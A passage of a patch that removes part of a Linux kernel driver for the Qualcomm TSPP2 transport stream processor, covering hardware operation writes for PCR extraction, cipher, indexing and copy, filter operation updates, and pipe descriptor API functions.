@op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_pcr_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *) +- op->params.pcr_extraction.output_pipe_handle; +- +- if (!pipe || !pipe->opened) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- +- if (!op->params.pcr_extraction.extract_pcr && +- !op->params.pcr_extraction.extract_opcr && +- !op->params.pcr_extraction.extract_splicing_point && +- !op->params.pcr_extraction.extract_transport_private_data && +- !op->params.pcr_extraction.extract_af_extension && +- !op->params.pcr_extraction.extract_all_af) { +- pr_err("%s: Invalid extraction parameters\n", __func__); +- return -EINVAL; +- } +- +- /* +- * Bits[19:18] = 0, Bit[17] = All AF, Bit[16] = AF Extension, +- * Bit[15] = Transport Priave Data, Bit[14] = Splicing Point, +- * Bit[13] = OPCR, Bit[12] = PCR, Bits[11:6] = Output pipe, +- * Bit[5] = Source, Bit[4] = Skip, Bits[3:0] = Opcode +- */ +- reg |= TSPP2_OPCODE_PCR_EXTRACTION; +- if (op->params.pcr_extraction.skip_ts_errs) +- reg |= (0x1 << 4); +- +- if (op->params.pcr_extraction.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- reg |= ((pipe->hw_index & 0x3F) << 6); +- +- if (op->params.pcr_extraction.extract_pcr) +- reg |= (0x1 << 12); +- +- if (op->params.pcr_extraction.extract_opcr) +- reg |= (0x1 << 13); +- +- if (op->params.pcr_extraction.extract_splicing_point) +- reg |= (0x1 << 14); +- +- if (op->params.pcr_extraction.extract_transport_private_data) +- reg |= (0x1 << 15); +- +- if (op->params.pcr_extraction.extract_af_extension) +- reg |= (0x1 << 16); +- +- if (op->params.pcr_extraction.extract_all_af) +- reg |= (0x1 << 17); +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_cipher_op_write() - Write a Cipher operation. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_cipher_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- +- /* +- * Bits[19:18] = 0, Bits[17:15] = Scrambling related, +- * Bit[14] = Mode, Bit[13] = Decrypt PES header, +- * Bits[12:7] = Key ladder index, Bit[6] = Destination, +- * Bit[5] = Source, Bit[4] = Skip, Bits[3:0] = Opcode +- */ +- +- reg |= TSPP2_OPCODE_CIPHER; +- if (op->params.cipher.skip_ts_errs) +- reg |= (0x1 << 4); +- +- if (op->params.cipher.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- if (op->params.cipher.output == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 6); +- +- reg |= ((op->params.cipher.key_ladder_index & 0x3F) << 7); +- +- if (op->params.cipher.mode == TSPP2_OP_CIPHER_ENCRYPT && +- op->params.cipher.decrypt_pes_header) { +- pr_err("%s: Invalid parameters\n", __func__); +- return -EINVAL; +- } +- +- if (op->params.cipher.decrypt_pes_header) +- reg |= (0x1 << 13); +- +- if (op->params.cipher.mode == TSPP2_OP_CIPHER_ENCRYPT) +- reg |= (0x1 << 14); +- +- switch (op->params.cipher.scrambling_mode) { +- case TSPP2_OP_CIPHER_AS_IS: +- reg |= (0x1 << 15); +- break; +- case TSPP2_OP_CIPHER_SET_SCRAMBLING_0: +- /* nothing to do, keep bits[17:16] as 0 */ +- break; +- case TSPP2_OP_CIPHER_SET_SCRAMBLING_1: +- reg |= (0x1 << 16); +- break; +- case TSPP2_OP_CIPHER_SET_SCRAMBLING_2: +- reg |= (0x2 << 16); +- break; +- case TSPP2_OP_CIPHER_SET_SCRAMBLING_3: +- reg |= (0x3 << 16); +- break; +- default: +- pr_err("%s: Invalid scrambling mode\n", __func__); +- return -EINVAL; +- } +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_index_op_write() - Write an Indexing operation. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_index_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- u32 filter_reg = 0; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *) +- op->params.indexing.output_pipe_handle; +- +- if (!pipe || !pipe->opened) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- +- /* Enforce Indexing related HW restrictions */ +- if (filter->indexing_op_set) { +- pr_err( +- "%s: Only one indexing operation supported per filter\n", +- __func__); +- return -EINVAL; +- } +- if (!filter->raw_op_with_indexing) { +- pr_err( +- "%s: Raw Transmit operation with indexing support must be configured before the Indexing operation\n", +- __func__); +- return -EINVAL; +- } +- +- if (!filter->pes_analysis_op_set) { +- pr_err( +- "%s: PES Analysis operation must precede Indexing operation\n", +- __func__); +- return -EINVAL; +- } +- +- /* +- * Bits [19:15] = 0, Bit[14] = Index by RAI, +- * Bits[13:12] = 0, +- * Bits[11:6] = Output pipe, Bit[5] = Source, +- * Bit[4] = Skip, Bits[3:0] = Opcode +- */ +- +- reg |= TSPP2_OPCODE_INDEXING; +- if (op->params.indexing.skip_ts_errs) +- reg |= (0x1 << 4); +- +- if (op->params.indexing.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- reg |= ((pipe->hw_index & 0x3F) << 6); +- +- if (op->params.indexing.random_access_indicator_indexing) +- reg |= (0x1 << 14); +- +- /* Indexing table ID is set in the filter and not in the operation */ +- filter->indexing_table_id = op->params.indexing.indexing_table_id; +- filter_reg = readl_relaxed(filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- filter_reg &= ~(0x3 << FILTER_ENTRY0_CODEC_OFFS); +- filter_reg |= (filter->indexing_table_id << FILTER_ENTRY0_CODEC_OFFS); +- writel_relaxed(filter_reg, filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- +- filter->indexing_op_set = 1; +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_copy_op_write() - Write an Copy operation. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_copy_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- +- /* Bits[19:6] = 0, Bit[5] = Source, Bit[4] = 0, Bits[3:0] = Opcode */ +- reg |= TSPP2_OPCODE_COPY_PACKET; +- if (op->params.copy_packet.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_op_write() - Write an operation of any type. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- switch (op->type) { +- case TSPP2_OP_PES_ANALYSIS: +- return tspp2_pes_analysis_op_write(filter, op, op_index); +- case TSPP2_OP_RAW_TRANSMIT: +- return tspp2_raw_tx_op_write(filter, op, op_index); +- case TSPP2_OP_PES_TRANSMIT: +- return tspp2_pes_tx_op_write(filter, op, op_index); +- case TSPP2_OP_PCR_EXTRACTION: +- return tspp2_pcr_op_write(filter, op, op_index); +- case TSPP2_OP_CIPHER: +- return tspp2_cipher_op_write(filter, op, op_index); +- case TSPP2_OP_INDEXING: +- return tspp2_index_op_write(filter, op, op_index); +- case TSPP2_OP_COPY_PACKET: +- return tspp2_copy_op_write(filter, op, op_index); +- default: +- pr_warn("%s: Unknown operation type\n", __func__); +- return -EINVAL; +- } +-} +- +-/** +- * tspp2_filter_ops_add() - Set the operations of a disabled filter. +- * +- * @filter: The filter to work on. +- * @op: The new operations array. +- * @op_index: The number of operations in the array. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_filter_ops_add(struct tspp2_filter *filter, +- const struct tspp2_operation *ops, +- u8 operations_num) +-{ +- int i; +- int ret = 0; +- +- /* User parameter validity checks were already performed */ +- +- /* +- * We want to start with a clean slate here. The user may call us to +- * set operations several times, so need to make sure only the last call +- * counts. +- */ +- tspp2_filter_ops_clear(filter); +- +- /* Save user operations in filter's database */ +- for (i = 0; i < operations_num; i++) +- filter->operations[i] = ops[i]; +- +- /* Write user operations to HW */ +- for (i = 0; i < operations_num; i++) { +- ret = tspp2_op_write(filter, &ops[i], i); +- if (ret) +- goto ops_cleanup; +- } +- +- /* +- * Here we want to add the Exit operation implicitly if required, that +- * is, if the user provided less than TSPP2_MAX_OPS_PER_FILTER +- * operations. However, we already called tspp2_filter_ops_clear() +- * which set all the operations in HW to Exit, before writing the +- * actual user operations. So, no need to do it again here. +- * Also, if someone calls this function with operations_num == 0, +- * it is similar to calling tspp2_filter_operations_clear(). +- */ +- +- filter->num_user_operations = operations_num; +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-ops_cleanup: +- pr_err("%s: Failed to set operations to filter, clearing all\n", +- __func__); +- +- tspp2_filter_ops_clear(filter); +- +- return ret; +-} +- +-/** +- * tspp2_filter_ops_update() - Update the operations of an enabled filter. +- * +- * This function updates the operations of an enabled filter. In fact, it is +- * not possible to update an existing filter without disabling it, clearing +- * the existing operations and setting new ones. However, if we do that, +- * we'll miss TS packets and not handle the stream properly, so a smooth +- * transition is required. +- * The algorithm is as follows: +- * 1. Find a free temporary filter object. +- * 2. Set the new filter's HW index to the reserved HW index. +- * 3. Set the operations to the new filter. This sets the operations to +- * the correct HW registers, based on the new HW index, and also updates +- * the relevant information in the temporary filter object. Later we copy this +- * to the actual filter object. +- * 4. Use the same context as the old filter (to maintain HW state). +- * 5. Reset parts of the context if needed. +- * 6. Enable the new HW filter, then disable the old filter. +- * 7. Update the source's reserved filter HW index. +- * 8. Update the filter's batch, HW index and operations-related information. +- * +- * @filter: The filter to work on. +- * @op: The new operations array. +- * @op_index: The number of operations in the array. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_filter_ops_update(struct tspp2_filter *filter, +- const struct tspp2_operation *ops, +- u8 operations_num) +-{ +- int i; +- int ret = 0; +- int found = 0; +- u32 reg = 0; +- u16 hw_idx; +- struct tspp2_filter_batch *batch; +- struct tspp2_filter *tmp_filter = NULL; +- struct tspp2_src *src = filter->src; +- +- /* +- * Find an available temporary filter object in the device's +- * filters database. +- */ +- for (i = 0; i < TSPP2_NUM_AVAIL_FILTERS; i++) +- if (!src->device->filters[i].opened) +- break; +- if (i == TSPP2_NUM_AVAIL_FILTERS) { +- /* Should never happen */ +- pr_err("%s: No available filters\n", __func__); +- return -ENOMEM; +- } +- tmp_filter = &src->device->filters[i]; +- +- /* +- * Set new filter operations. We do this relatively early +- * in the function to avoid cleanup operations if this fails. +- * Since this also writes to HW, we have to set the correct HW index. +- */ +- tmp_filter->hw_index = src->reserved_filter_hw_index; +- /* +- * Need to set the mask properly to indicate if the filter handles +- * a unique PID. +- */ +- tmp_filter->mask = filter->mask; +- ret = tspp2_filter_ops_add(tmp_filter, ops, operations_num); +- if (ret) { +- tmp_filter->hw_index = 0; +- tmp_filter->mask = 0; +- return ret; +- } +- +- /* +- * Mark new filter (in fact, the new filter HW index) as used in the +- * appropriate batch. The batch has to be one of the batches already +- * associated with the source. +- */ +- list_for_each_entry(batch, &src->batches_list, link) { +- for (i = 0; i < TSPP2_FILTERS_PER_BATCH; i++) { +- hw_idx = (batch->batch_id * +- TSPP2_FILTERS_PER_BATCH) + i; +- if (hw_idx == tmp_filter->hw_index) { +- batch->hw_filters[i] = 1; +- found = 1; +- break; +- } +- } +- if (found) +- break; +- } +- +- if (!found) { +- pr_err("%s: Could not find matching batch\n", __func__); +- tspp2_filter_ops_clear(tmp_filter); +- tmp_filter->hw_index = 0; +- return -EINVAL; +- } +- +- /* Set the same context of the old filter to the new HW filter */ +- writel_relaxed((filter->context << FILTER_ENTRY1_CONTEXT_OFFS), +- filter->device->base + +- TSPP2_FILTER_ENTRY1(tmp_filter->hw_index)); +- +- /* +- * Reset partial context, if necessary. We want to reset a partial +- * context before we start using it, so if there's a new operation +- * that uses a context where before there was no operation that used it, +- * we reset that context. We need to do this before we start using the +- * new operation, so before we enable the new filter. +- * Note: there is no need to reset most of the filter's context-based +- * counters, because the filter keeps using the same context. The +- * exception is the PES error counters that we may want to reset when +- * resetting the entire PES context. +- */ +- if (!filter->pes_tx_op_set && tmp_filter->pes_tx_op_set) { +- /* PES Tx operation added */ +- writel_relaxed( +- (0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_PES_CONTEXT_RESET(filter->context >> 5)); +- writel_relaxed(0, filter->device->base + +- TSPP2_FILTER_PES_ERRORS(filter->context)); +- } +- +- if (!filter->indexing_op_set && tmp_filter->indexing_op_set) { +- /* Indexing operation added */ +- writel_relaxed( +- (0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_INDEXING_CONTEXT_RESET(filter->context >> 5)); +- } +- +- /* +- * Write PID and mask to new filter HW registers and enable it. +- * Preserve filter indexing table ID. +- */ +- reg |= (0x1 << FILTER_ENTRY0_EN_OFFS); +- reg |= ((filter->pid_value << FILTER_ENTRY0_PID_OFFS) | +- (filter->mask << FILTER_ENTRY0_MASK_OFFS)); +- reg |= (tmp_filter->indexing_table_id << FILTER_ENTRY0_CODEC_OFFS); +- writel_relaxed(reg, filter->device->base + +- TSPP2_FILTER_ENTRY0(tmp_filter->hw_index)); +- +- /* Disable old HW filter */ +- writel_relaxed(0, filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- +- /* +- * HW requires we wait for up to 2ms here before removing the +- * operations used by this filter. +- */ +- udelay(TSPP2_HW_DELAY_USEC); +- +- tspp2_filter_ops_clear(filter); +- +- writel_relaxed(0, filter->device->base + +- TSPP2_FILTER_ENTRY1(filter->hw_index)); +- +- /* Mark HW filter as unused in old batch */ +- filter->batch->hw_filters[(filter->hw_index - +- (filter->batch->batch_id * TSPP2_FILTERS_PER_BATCH))] = 0; +- +- /* The new HW filter may be in a new batch, so we need to update */ +- filter->batch = batch; +- +- /* +- * Update source's reserved filter HW index, and also update the +- * new HW index in the filter object. +- */ +- src->reserved_filter_hw_index = filter->hw_index; +- filter->hw_index = tmp_filter->hw_index; +- +- /* +- * We've already set the new operations to HW, but we want to +- * update the filter object, too. tmp_filter contains all the +- * operations' related information we need (operations and flags). +- * Also, we make sure to update indexing_table_id based on the new +- * indexing operations. +- */ +- memcpy(filter->operations, tmp_filter->operations, +- (sizeof(struct tspp2_operation) * TSPP2_MAX_OPS_PER_FILTER)); +- filter->num_user_operations = tmp_filter->num_user_operations; +- filter->indexing_op_set = tmp_filter->indexing_op_set; +- filter->raw_op_with_indexing = tmp_filter->raw_op_with_indexing; +- filter->pes_analysis_op_set = tmp_filter->pes_analysis_op_set; +- filter->raw_op_set = tmp_filter->raw_op_set; +- filter->pes_tx_op_set = tmp_filter->pes_tx_op_set; +- filter->indexing_table_id = tmp_filter->indexing_table_id; +- +- /* +- * Now we can clean tmp_filter. This is really just to keep the filter +- * object clean. However, we don't want to use tspp2_filter_ops_clear() +- * because it clears the operations from HW too. +- */ +- memset(tmp_filter->operations, 0, +- (sizeof(struct tspp2_operation) * TSPP2_MAX_OPS_PER_FILTER)); +- tmp_filter->num_user_operations = 0; +- tmp_filter->indexing_op_set = 0; +- tmp_filter->raw_op_with_indexing = 0; +- tmp_filter->pes_analysis_op_set = 0; +- tmp_filter->raw_op_set = 0; +- tmp_filter->pes_tx_op_set = 0; +- tmp_filter->indexing_table_id = 0; +- tmp_filter->hw_index = 0; +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_filter_operations_set() - Set operations to a filter. +- * +- * @filter_handle: Filter to set operations to. +- * @ops: An array of up to TSPP2_MAX_OPS_PER_FILTER +- * operations. +- * @operations_num: Number of operations in the ops array. +- * +- * This function sets the required operations to a given filter. The filter +- * can either be disabled (in which case it may or may not already have some +- * operations set), or enabled (in which case it certainly has some oprations +- * set). In any case, the filter's previous operations are cleared, and the new +- * operations provided are set. +- * +- * In addition to some trivial parameter validity checks, the following +- * restrictions are enforced: +- * 1. A filter with a PES Analysis operation must handle a unique PID (i.e., +- * should have a mask that equals TSPP2_UNIQUE_PID_MASK). +- * 2. Only a single Raw Transmit operation per filter can support HW indexing +- * (i.e., can have its support_indexing configuration parameter set). +- * 3. A PES Analysys operation must precede any PES Transmit operation. +- * 4. A PES Transmit operation with SW indexing (i.e., with its +- * enable_sw_indexing parameter set) must be preceded by a Raw Transmit +- * operation. +- * 5. Only a single indexing operation is supported per filter. +- * 6. A Raw Transmit operation with indexing support must be configured before +- * the Indexing operation. +- * 7. A PES Analysis operation must precede the Indexing operation. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_operations_set(u32 filter_handle, +- const struct tspp2_operation *ops, +- u8 operations_num) +-{ +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- int ret = 0; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- if (!ops || operations_num > TSPP2_MAX_OPS_PER_FILTER || +- operations_num == 0) { +- pr_err("%s: Invalid ops parameter\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(filter->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&filter->device->mutex)) { +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!filter->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter not opened\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- if (filter->enabled) +- ret = tspp2_filter_ops_update(filter, ops, operations_num); +- else +- ret = tspp2_filter_ops_add(filter, ops, operations_num); +- +- mutex_unlock(&filter->device->mutex); +- +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- +- return ret; +-} +-EXPORT_SYMBOL(tspp2_filter_operations_set); +- +-/** +- * tspp2_filter_operations_clear() - Clear all operations from a filter. +- * +- * @filter_handle: Filter to clear all operations from. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_operations_clear(u32 filter_handle) +-{ +- int ret; +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(filter->device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&filter->device->mutex); +- +- if (!filter->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter not opened\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- if (filter->num_user_operations == 0) { +- pr_warn("%s: No operations to clear from filter\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return 0; +- } +- +- tspp2_filter_ops_clear(filter); +- +- mutex_unlock(&filter->device->mutex); +- +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_operations_clear); +- +-/** +- * tspp2_filter_current_scrambling_bits_get() - Get the current scrambling bits. +- * +- * @filter_handle: Filter to get the scrambling bits from. +- * @scrambling_bits_value: The current value of the scrambling bits. +- * This could be the value from the TS packet +- * header, the value from the PES header, or a +- * logical OR operation of both values, depending +- * on the scrambling_bits_monitoring configuration +- * of the source this filter belongs to. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_current_scrambling_bits_get(u32 filter_handle, +- u8 *scrambling_bits_value) +-{ +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- u32 reg; +- u32 ts_bits; +- u32 pes_bits; +- int ret; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- if (scrambling_bits_value == NULL) { +- pr_err("%s: Invalid parameter\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(filter->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&filter->device->mutex)) { +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!filter->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter not opened\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(filter->device->base + +- TSPP2_TSP_CONTEXT(filter->context)); +- +- ts_bits = ((reg >> TSP_CONTEXT_TS_HEADER_SC_OFFS) & 0x3); +- pes_bits = ((reg >> TSP_CONTEXT_PES_HEADER_SC_OFFS) & 0x3); +- +- switch (filter->src->scrambling_bits_monitoring) { +- case TSPP2_SRC_SCRAMBLING_MONITOR_PES_ONLY: +- *scrambling_bits_value = pes_bits; +- break; +- case TSPP2_SRC_SCRAMBLING_MONITOR_TS_ONLY: +- *scrambling_bits_value = ts_bits; +- break; +- case TSPP2_SRC_SCRAMBLING_MONITOR_PES_AND_TS: +- *scrambling_bits_value = (pes_bits | ts_bits); +- break; +- case TSPP2_SRC_SCRAMBLING_MONITOR_NONE: +- /* fall through to default case */ +- default: +- pr_err("%s: Invalid scrambling bits mode\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- mutex_unlock(&filter->device->mutex); +- +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_current_scrambling_bits_get); +- +-/* Data-path API functions */ +- +-/** +- * tspp2_pipe_descriptor_get() - Get a data descriptor from a pipe. +- * +- * @pipe_handle: Pipe to get the descriptor from. +- * @desc: Received pipe data descriptor. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_pipe_descriptor_get(u32 pipe_handle, struct sps_iovec *desc) +-{ +- int ret; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)pipe_handle; +- +- if (!pipe) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- if (!desc) { +- pr_err("%s: Invalid descriptor pointer\n", __func__); +- return -EINVAL; +- } +- +- /* Descriptor pointer validity is checked inside the SPS driver. */ +- +- ret = pm_runtime_get_sync(pipe->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&pipe->device->mutex)) { +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!pipe->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EPERM; +- } +- +- if (!pipe->opened) { +- pr_err("%s: Pipe not opened\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EINVAL; +- } +- +- ret = sps_get_iovec(pipe->sps_pipe, desc); +- +- mutex_unlock(&pipe->device->mutex); +- +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +- +- return ret; +- +-} +-EXPORT_SYMBOL(tspp2_pipe_descriptor_get); +- +-/** +- * tspp2_pipe_descriptor_put() - Release a descriptor for reuse by the pipe. +- * +- * @pipe_handle: Pipe to release the descriptor to. +- * @addr: Address to release for reuse. +- * @size: Size to release. +- * @flags: Descriptor flags. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_pipe_descriptor_put(u32 pipe_handle, u32 addr, u32 size, u32 flags) +-{ +- int ret; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)pipe_handle; +- +- if (!pipe) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(pipe->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&pipe->device->mutex)) { +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!pipe->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EPERM; +- } +- +- if (!pipe->opened) { +- pr_err("%s: Pipe not opened\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EINVAL; +- } +- +- ret = sps_transfer_one(pipe->sps_pipe, addr, size, NULL, flags); +- +- mutex_unlock(&pipe->device->mutex); +- +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +- +- return ret; +-} +-EXPORT_SYMBOL(tspp2_pipe_descriptor_put); +- +-/** +- * tspp2_pipe_last_address_used_get() - Get the last address the TSPP2 used. +- * +- * @pipe_handle: Pipe to get the address from. +- * @address: The last (virtual) address TSPP2 wrote data to. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_pipe_last_address_used_get(u32 pipe_handle, u32 *address) +-{ +- int ret; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)pipe_handle; +- +- if (!pipe) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- if (!address) { +- pr_err("%s: Invalid address pointer\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(pipe->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&pipe->device->mutex)) { +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!pipe->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EPERM; +- } +- +- if (!pipe->opened) { +- pr_err("%s: Pipe not opened\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EINVAL; +- } +- +- *address = readl_relaxed(pipe->device->base + +- TSPP2_PIPE_LAST_ADDRESS(pipe->hw_index)); +- +- mutex_unlock(&pipe->device->mutex); +- +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- +- *address = be32_to_cpu(*address); +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_pipe_last_address_used_get); +- +-/** +- * tspp2_data_write() - Write (feed) data to a source. +- * +- * @src_handle: Source to feed data to. +- * @offset: Offset in the source's input pipe buffer. +- * @size: Size of data to write, in bytes. +- * +- * Schedule BAM transfers to feed data from the source's input pipe +- * to TSPP2 for processing. Note that the user is responsible for opening +- * an input pipe with the appropriate configuration parameters, and attaching +- * this pipe as an input pipe to the source. Pipe configuration validity is not +- * verified by this function. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_data_write(u32 src_handle, u32 offset, u32 size) +-{ +- int ret; 